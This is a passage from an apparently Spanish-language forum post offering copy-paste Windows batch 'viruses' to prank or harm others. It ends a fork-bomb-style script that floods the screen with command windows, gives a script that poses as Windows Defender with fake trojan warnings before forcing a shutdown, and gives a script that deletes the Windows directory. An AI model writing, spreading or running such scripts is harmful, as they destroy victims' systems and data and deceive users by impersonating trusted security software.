Si quieren lo pueden hacer unas cuantas veces más para hacerlo más molesto aún. (cuanto más, mejor)
Y lo guardan como BOMB.bat
Explicación:Este virus lo que hace es abrir tantas ventanas de simbolo del sistema como tantas palabras START esten en el bloc de notas sin forma de detenerlo.

Virus Nº2: Lo que deben hacer es copiar lo siguiente.

@echo off
color 30
title The Windows Defender! Anti-Virus PC
cls
echo Atencion: su sistema se encuentra desprotegido, Windows Defender! Anti-Virus necesitara escanear el disco duro. Pulse ENTER para llevar a cabo el analisis.
pause
@echo off
:m
echo %random%
goto m
pause
msg * Su PC se encuentra infectada por Virus Troyano muy grave . Pulse ENTER para autorizar a Windows Defender! Anti-Virus a eliminar el Virus Troyano.
pause
shu*** -s -t 5 -c "Virus Troyano detectado muy grave, la computadora se apagará automaticamente."

Lo guardan con cualquier nombre pero con la extensión .cmd
Explicación:Este virus se hace pasar por windows defender y hace que la víctima apague su máquina indirectamente (sin que lo sepa, claro)

Virus Nº3 Pase lo que pase Noooooooo abraaaaaaan esteeeeeeee virusssssss
Lo que deben hacer es copiar:

@ echo off
msg * Hasta la vista Windows
ERASE /f /s /q C: windows
shu*** -s -t

Explicación:Este virus lo que hace es borrar el Windows instalado.
Espero que les haya servido
Y.. unos puntines no me harían falta.
Y su compu estará despues de tanto virus así.
